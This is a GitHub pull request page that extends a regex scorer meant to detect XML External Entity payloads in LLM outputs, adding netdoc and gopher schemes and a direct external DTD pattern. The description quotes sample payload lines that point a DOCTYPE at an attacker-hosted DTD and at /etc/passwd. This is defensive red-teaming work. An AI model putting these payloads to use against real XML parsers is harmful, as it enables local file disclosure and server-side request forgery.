Skip to content

FIX: Detect direct external DTDs and netdoc/gopher schemes in XXEOutputScorer - #3486

Open
Vardhman Gupta (Kaap10) wants to merge 1 commit into
microsoft:mainfrom
Kaap10:fix/xxe-output-scorer-external-dtd
Open

Vardhman Gupta (Kaap10) wants to merge 1 commit into
microsoft:mainfrom
Kaap10:fix/xxe-output-scorer-external-dtd

Conversation

@Kaap10

Copy link
Copy Markdown
Contributor

Description

XXEOutputScorer detects XML External Entity payloads emitted in LLM responses. Currently, its default patterns require the <!ENTITY keyword across all three patterns.

This leaves two blindspots:

  1. Direct External DTD References: An external DTD can be referenced directly in the root <!DOCTYPE> element (<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd"> or <!DOCTYPE test SYSTEM "file:///etc/passwd">) without declaring any inline entity. Parsers configured to resolve external DTDs dereference these immediately, triggering SSRF or local file leakage.
  2. Missing URI Schemes: Java's netdoc:///etc/passwd protocol handler (commonly used in JDK XXE bypasses and directory listing) and gopher:// (used in XXE-to-SSRF attacks) were missing from the scheme list.

This PR adds:

  • netdoc and gopher to "External Entity Declaration".
  • A dedicated "External DTD Declaration" pattern requiring explicit protocol scheme targets ((?:file|https?|ftp|gopher|php|expect|jar|netdoc):), ensuring zero false positives on standard HTML5 <!DOCTYPE html> or relative DTD files (note.dtd).

Fixes #3485

Tests and Documentation

  • Added unit tests in tests/unit/score/regex/test_xxe_output_scorer.py covering direct external DTDs (SYSTEM and PUBLIC), netdoc:///, and gopher://.
  • Added negative unit tests verifying that relative DTD references (<!DOCTYPE note SYSTEM "note.dtd">) and element-only DOCTYPEs do not match.
  • Added rationale attribution test for "External DTD Declaration".
  • All 20 unit tests passing cleanly.
  • Code style verified with ruff check and ruff format.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good. This extends the existing regex approach to direct external DTD declarations and the additional schemes without adding a new parsing layer.

Reviewed with GitHub Copilot.

@richlundeen
Richard Lundeen (richlundeen) added this pull request to the merge queue Oct 25, 2026
@github-merge-queue
github-merge-queue Bot removed this pull request from the merge queue due to a conflict with the base branch Oct 25, 2026
@Kaap10
Vardhman Gupta (Kaap10) force-pushed the fix/xxe-output-scorer-external-dtd branch from 28e2128 to 33246aa Compare October 26, 2026 02:13
@Kaap10

Copy link
Copy Markdown
Contributor Author

Hi Richard Lundeen (@richlundeen),

I have rebased the branch onto the latest main to cleanly resolve the merge conflict with #3429 (XInclude detection). The external DTD patterns and newly added XInclude rules coexist cleanly, and all unit tests in test_xxe_output_scorer.py pass.

This PR is now up to date and ready for review/merge queue. Thank you!

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

BUG: XXEOutputScorer misses direct external DTD references and Java netdoc: / gopher: URI schemes

2 participants